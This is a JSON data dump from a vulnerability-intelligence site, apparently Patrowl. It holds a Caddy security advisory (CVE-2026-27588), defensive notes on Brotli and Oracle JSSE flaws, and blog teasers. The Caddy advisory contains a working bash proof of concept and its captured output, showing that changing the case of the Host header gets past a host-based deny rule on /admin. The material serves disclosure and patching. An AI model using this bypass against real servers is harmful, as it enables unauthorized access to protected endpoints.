[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-27588":30,"landing-articles":73},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":42,"references":44,"score":51,"epss_score":52,"epss_percentile":53,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":54,"attack_mappings":64,"exploits":71},16528,"CVE-2026-27588","EUVD-2026-8540","Caddy: MatchHost becomes case-sensitive for large host lists (>100), enabling host-based route\u002Fauth bypass\n\n### Summary\nCaddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header.\n\n### Details\nIn Caddy `v2.10.2`, the `MatchHost` matcher states it matches the Host value case-insensitively:\n\n- `modules\u002Fcaddyhttp\u002Fmatchers.go`: `type MatchHost matches requests by the Host value (case-insensitive).`\n\nHowever, in `MatchHost.MatchWithError`, when the host list is considered \"large\" (`len(m) > 100`):\n\n- `MatchHost.large()` returns true for `len(m) > 100` (`modules\u002Fcaddyhttp\u002Fmatchers.go`, around the `large()` helper).\n- The matcher takes a \"fast path\" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (`m[pos] == reqHost`).\n- After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards\u002Fplaceholders), this prevents the `strings.EqualFold(reqHost, host)` check from ever running.\n\nNet effect: with a host list length of 101 or more, changing only the casing of the incoming `Host` header can cause the `host` matcher to not match when it should.\n\n#### Suggested fix\n- Normalize exact hostnames to lower-case during `MatchHost.Provision` (at least for non-fuzzy entries).\n- Normalize the incoming request host (`reqHost`) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.\n\nReproduced on:\n- Stable release: `v2.10.2` -- this is the release I reference in the repro below.\n- Dev build: `v2.11.0-beta.2`.\n- Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`.\n\n### PoC\nPrereqs:\n- bash, curl\n- A pre-built Caddy binary available at `\u002Fopt\u002Fcaddy-2.10.2\u002Fcaddy` (edit `CADDY_BIN` in the script if needed)\n\n\u003Cdetails>\n\u003Csummary>Script (Click to expand)\u003C\u002Fsummary>\n\n```bash\n#!\u002Fusr\u002Fbin\u002Fenv bash\nset -euo pipefail\n\nCADDY_BIN=\"\u002Fopt\u002Fcaddy-2.10.2\u002Fcaddy\"\nHOST=\"127.0.0.1\"\nPORT=\"8080\"\n\nTMPDIR=\"$(mktemp -d)\"\nCADDYFILE=\"${TMPDIR}\u002FCaddyfile\"\nLOG=\"${TMPDIR}\u002Fcaddy.log\"\n\ncleanup() {\n  if [ -n \"${CADDY_PID:-}\" ] && kill -0 \"${CADDY_PID}\" 2>\u002Fdev\u002Fnull; then\n    kill \"${CADDY_PID}\" 2>\u002Fdev\u002Fnull || true\n    wait \"${CADDY_PID}\" 2>\u002Fdev\u002Fnull || true\n  fi\n  rm -rf \"${TMPDIR}\" 2>\u002Fdev\u002Fnull || true\n}\ntrap cleanup EXIT\n\nif [ ! -x \"${CADDY_BIN}\" ]; then\n  echo \"error: missing caddy binary at ${CADDY_BIN}\" >&2\n  exit 2\nfi\n\necho \"== Caddy version ==\"\n\"${CADDY_BIN}\" version\n\ncat >\"${CADDYFILE}\" \u003C\u003CEOF\n{\n    debug\n}\n\n:${PORT} {\n    log\n    @protected {\n        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n        path \u002Fadmin\n    }\n    respond @protected \"DENY\" 403\n    respond \"ALLOW\" 200\n}\nEOF\n\necho\necho \"== Caddyfile ==\"\ncat \"${CADDYFILE}\"\n\necho\necho \"== Start Caddy (debug + capture logs) ==\"\necho \"cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile\"\n\"${CADDY_BIN}\" run --config \"${CADDYFILE}\" --adapter caddyfile >\"${LOG}\" 2>&1 &\nCADDY_PID=\"$!\"\n\nsleep 2\n\necho\necho \"== Request 1 (baseline - expect deny) ==\"\necho \"cmd: curl -v -H 'Host: h050.test' http:\u002F\u002F${HOST}:${PORT}\u002Fadmin\"\ncurl -v -H \"Host: h050.test\" \"http:\u002F\u002F${HOST}:${PORT}\u002Fadmin\" 2>&1 || true\n\necho\necho \"== Request 2 (BYPASS - expect allow) ==\"\necho \"cmd: curl -v -H 'Host: H050.TEST' http:\u002F\u002F${HOST}:${PORT}\u002Fadmin\"\ncurl -v -H \"Host: H050.TEST\" \"http:\u002F\u002F${HOST}:${PORT}\u002Fadmin\" 2>&1 || true\n\necho\necho \"== Stop Caddy ==\"\nkill \"${CADDY_PID}\" 2>\u002Fdev\u002Fnull || true\nwait \"${CADDY_PID}\" 2>\u002Fdev\u002Fnull || true\n\necho\necho \"== Full Caddy debug log ==\"\ncat \"${LOG}\"\n\n```\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>Expected output (Click to expand)\u003C\u002Fsummary>\n\n```bash\n== Caddy version ==\nv2.10.2 h1:g\u002FgTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL\u002FOvu6U8=\n\n== Caddyfile ==\n{\n    debug\n}\n\n:8080 {\n    log\n    @protected {\n        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n        path \u002Fadmin\n    }\n    respond @protected \"DENY\" 403\n    respond \"ALLOW\" 200\n}\n\n== Start Caddy (debug + capture logs) ==\ncmd: \u002Fopt\u002Fcaddy-2.10.2\u002Fcaddy run --config \u002Ftmp\u002Ftmp.3BN6rgj9yF\u002FCaddyfile --adapter caddyfile\n\n== Request 1 (baseline - expect deny) ==\ncmd: curl -v -H 'Host: h050.test' http:\u002F\u002F127.0.0.1:8080\u002Fadmin\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP\u002F1.x\n> GET \u002Fadmin HTTP\u002F1.1\n> Host: h050.test\n> User-Agent: curl\u002F8.15.0\n> Accept: *\u002F*\n>\n* Request completely sent off\n\u003C HTTP\u002F1.1 403 Forbidden\n\u003C Content-Type: text\u002Fplain; charset=utf-8\n\u003C Server: Caddy\n\u003C Date: Sun, 08 Feb 2026 22:09:09 GMT\n\u003C Content-Length: 4\n\u003C\n* Connection #0 to host 127.0.0.1 left intact\nDENY\n== Request 2 (BYPASS - expect allow) ==\ncmd: curl -v -H 'Host: H050.TEST' http:\u002F\u002F127.0.0.1:8080\u002Fadmin\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP\u002F1.x\n> GET \u002Fadmin HTTP\u002F1.1\n> Host: H050.TEST\n> User-Agent: curl\u002F8.15.0\n> Accept: *\u002F*\n>\n\u003C HTTP\u002F1.1 200 OK\n\u003C Content-Type: text\u002Fplain; charset=utf-8\n\u003C Server: Caddy\n\u003C Date: Sun, 08 Feb 2026 22:09:09 GMT\n\u003C Content-Length: 5\n\u003C\n* Connection #0 to host 127.0.0.1 left intact\nALLOW\n== Stop Caddy ==\n\n== Full Caddy debug log ==\n{\"level\":\"info\",\"ts\":1770588548.012352,\"msg\":\"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1770588548.0125406,\"msg\":\"GOMEMLIMIT is updated\",\"package\":\"github.com\u002FKimMachineGun\u002Fautomemlimit\u002Fmemlimit\",\"GOMEMLIMIT\":1844136345,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1770588548.0125597,\"msg\":\"using config from file\",\"file\":\"\u002Ftmp\u002Ftmp.3BN6rgj9yF\u002FCaddyfile\"}\n{\"level\":\"info\",\"ts\":1770588548.0131946,\"msg\":\"adapted config to JSON\",\"adapter\":\"caddyfile\"}\n{\"level\":\"warn\",\"ts\":1770588548.013202,\"msg\":\"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies\",\"adapter\":\"caddyfile\",\"file\":\"\u002Ftmp\u002Ftmp.3BN6rgj9yF\u002FCaddyfile\",\"line\":2}\n{\"level\":\"info\",\"ts\":1770588548.0139973,\"logger\":\"admin\",\"msg\":\"admin endpoint started\",\"address\":\"localhost:2019\",\"enforce_origin\":false,\"origins\":[\"\u002F\u002F127.0.0.1:2019\",\"\u002F\u002Flocalhost:2019\",\"\u002F\u002F[::1]:2019\"]}\n{\"level\":\"debug\",\"ts\":1770588548.0140707,\"logger\":\"http.auto_https\",\"msg\":\"adjusted config\",\"tls\":{\"automation\":{\"policies\":[{}]}},\"http\":{\"servers\":{\"srv0\":{\"listen\":[\":8080\"],\"routes\":[{\"handle\":[{\"handler\":\"subroute\",\"routes\":[{\"handle\":[{\"body\":\"DENY\",\"handler\":\"static_response\",\"status_code\":403}],\"match\":[{\"host\":[\"h001.test\",\"h002.test\",\"h003.test\",\"h004.test\",\"h005.test\",\"h006.test\",\"h007.test\",\"h008.test\",\"h009.test\",\"h010.test\",\"h011.test\",\"h012.test\",\"h013.test\",\"h014.test\",\"h015.test\",\"h016.test\",\"h017.test\",\"h018.test\",\"h019.test\",\"h020.test\",\"h021.test\",\"h022.test\",\"h023.test\",\"h024.test\",\"h025.test\",\"h026.test\",\"h027.test\",\"h028.test\",\"h029.test\",\"h030.test\",\"h031.test\",\"h032.test\",\"h033.test\",\"h034.test\",\"h035.test\",\"h036.test\",\"h037.test\",\"h038.test\",\"h039.test\",\"h040.test\",\"h041.test\",\"h042.test\",\"h043.test\",\"h044.test\",\"h045.test\",\"h046.test\",\"h047.test\",\"h048.test\",\"h049.test\",\"h050.test\",\"h051.test\",\"h052.test\",\"h053.test\",\"h054.test\",\"h055.test\",\"h056.test\",\"h057.test\",\"h058.test\",\"h059.test\",\"h060.test\",\"h061.test\",\"h062.test\",\"h063.test\",\"h064.test\",\"h065.test\",\"h066.test\",\"h067.test\",\"h068.test\",\"h069.test\",\"h070.test\",\"h071.test\",\"h072.test\",\"h073.test\",\"h074.test\",\"h075.test\",\"h076.test\",\"h077.test\",\"h078.test\",\"h079.test\",\"h080.test\",\"h081.test\",\"h082.test\",\"h083.test\",\"h084.test\",\"h085.test\",\"h086.test\",\"h087.test\",\"h088.test\",\"h089.test\",\"h090.test\",\"h091.test\",\"h092.test\",\"h093.test\",\"h094.test\",\"h095.test\",\"h096.test\",\"h097.test\",\"h098.test\",\"h099.test\",\"h100.test\",\"h101.test\"],\"path\":[\"\u002Fadmin\"]}]},{\"handle\":[{\"body\":\"ALLOW\",\"handler\":\"static_response\",\"status_code\":200}]}]}],\"terminal\":true}],\"automatic_https\":{},\"logs\":{}}}}}\n{\"level\":\"info\",\"ts\":1770588548.0143135,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0xc0000d7c80\"}\n{\"level\":\"debug\",\"ts\":1770588548.0143793,\"logger\":\"http\",\"msg\":\"starting server loop\",\"address\":\"[::]:8080\",\"tls\":false,\"http3\":false}\n{\"level\":\"warn\",\"ts\":1770588548.014415,\"logger\":\"http\",\"msg\":\"HTTP\u002F2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1770588548.0144184,\"logger\":\"http\",\"msg\":\"HTTP\u002F3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1770588548.0144203,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"debug\",\"ts\":1770588548.014438,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"started\",\"id\":\"1c7f6534-d264-456d-988d-e9f77a099c42\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588548.0145273,\"msg\":\"autosaved config (load with --resume flag)\",\"file\":\"\u002Fhome\u002Fvh\u002F.config\u002Fcaddy\u002Fautosave.json\"}\n{\"level\":\"info\",\"ts\":1770588548.0145316,\"msg\":\"serving initial configuration\"}\n{\"level\":\"info\",\"ts\":1770588548.0274432,\"logger\":\"tls\",\"msg\":\"storage cleaning happened too recently; skipping for now\",\"storage\":\"FileStorage:\u002Fhome\u002Fvh\u002F.local\u002Fshare\u002Fcaddy\",\"instance\":\"a259f82d-3c7c-4706-9ca8-17456b4af729\",\"try_again\":1770674948.0274422,\"try_again_in\":86399.999999709}\n{\"level\":\"info\",\"ts\":1770588548.0275078,\"logger\":\"tls\",\"msg\":\"finished cleaning storage units\"}\n{\"level\":\"info\",\"ts\":1770588549.9694445,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53220\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP\u002F1.1\",\"method\":\"GET\",\"host\":\"h050.test\",\"uri\":\"\u002Fadmin\",\"headers\":{\"User-Agent\":[\"curl\u002F8.15.0\"],\"Accept\":[\"*\u002F*\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.000014857,\"size\":4,\"status\":403,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text\u002Fplain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9741833,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53234\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP\u002F1.1\",\"method\":\"GET\",\"host\":\"H050.TEST\",\"uri\":\"\u002Fadmin\",\"headers\":{\"Accept\":[\"*\u002F*\"],\"User-Agent\":[\"curl\u002F8.15.0\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.00000551,\"size\":5,\"status\":200,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text\u002Fplain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9751372,\"msg\":\"shutting down apps, then terminating\",\"signal\":\"SIGTERM\"}\n{\"level\":\"warn\",\"ts\":1770588549.9751456,\"msg\":\"exiting; byeee!! 👋\",\"signal\":\"SIGTERM\"}\n{\"level\":\"debug\",\"ts\":1770588549.9751775,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"stopping\",\"id\":\"e02c5e64-9d76-48b6-a967-4f003850bdd4\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588549.9751873,\"logger\":\"http\",\"msg\":\"servers shutting down with eternal grace period\"}\n{\"level\":\"info\",\"ts\":1770588549.975331,\"logger\":\"admin\",\"msg\":\"stopped previous server\",\"address\":\"localhost:2019\"}\n{\"level\":\"info\",\"ts\":1770588549.9753368,\"msg\":\"shutdown complete\",\"signal\":\"SIGTERM\",\"exit_code\":0}\n```\n\u003C\u002Fdetails>\n\n### Impact\nThis is a route\u002Fauth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on `host` matchers with large host lists (>100) to select protected routes (e.g. applying `basicauth`, `forward_auth`, `respond` deny rules, or protecting `reverse_proxy` backends) can be bypassed by varying the case of the `Host` header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.\n\nThe reproduction is minimal per the reporting guidance; a realistic \"full\" scenario is Caddy fronting a multi-tenant app and doing `forward_auth`\u002F`basicauth`\u002F`deny` for `\u002Fadmin` only when host is in a big (>100) allowlist, but the default handler still `reverse_proxy`ing to the same app. Then sending `Host: H050.TEST` skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> `\u002Fadmin` is reachable without the intended guard.\n\n\n### AI Use Disclosure\nA custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.\n\n### Disclosure\u002Fcrediting\n\nAsim Viladi Oglu Manizada","2026-02-24T20:34:00Z",{},false,[39],"CWE-178",[41],"cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*",[43],"Caddyserver Caddy",[45,46,47,48,49,50],"https:\u002F\u002Fgithub.com\u002Fcaddyserver\u002Fcaddy\u002Freleases\u002Ftag\u002Fv2.11.1","https:\u002F\u002Fgithub.com\u002Fcaddyserver\u002Fcaddy\u002Fsecurity\u002Fadvisories\u002FGHSA-x76f-jf84-rqj8","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-27588","https:\u002F\u002Fgithub.com\u002Fcaddyserver\u002Fcaddy\u002Fcommit\u002Feec32a0bb5a11651c6a7b04ce82dc50610f2b27e","https:\u002F\u002Fgithub.com\u002Fcaddyserver\u002Fcaddy","https:\u002F\u002Fpkg.go.dev\u002Fvuln\u002FGO-2026-4541",0,0.00425,0.36458,{"timestamp":55,"automatable":56,"tech_impact":57,"exploitation":58,"cisa_decision":59,"cisa_remediation_timeline":63},"2026-02-27T20:47:27.256996Z","yes","partial","poc",{"vector":60,"decision":61,"priority":62},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-25T23:04:08.450343\u002F","attend","medium","14D",[65],{"name":66,"source":67,"tactics":68,"technique_id":70},"Exploit Public-Facing Application","attack_vector",[69],"initial-access","T1190",[72],{"link":46},{"count":74,"next":75,"previous":6,"results":76},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[77,85,93],{"id":78,"title":79,"summary":80,"published_at":81,"type":82,"link":83,"image_url":84},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]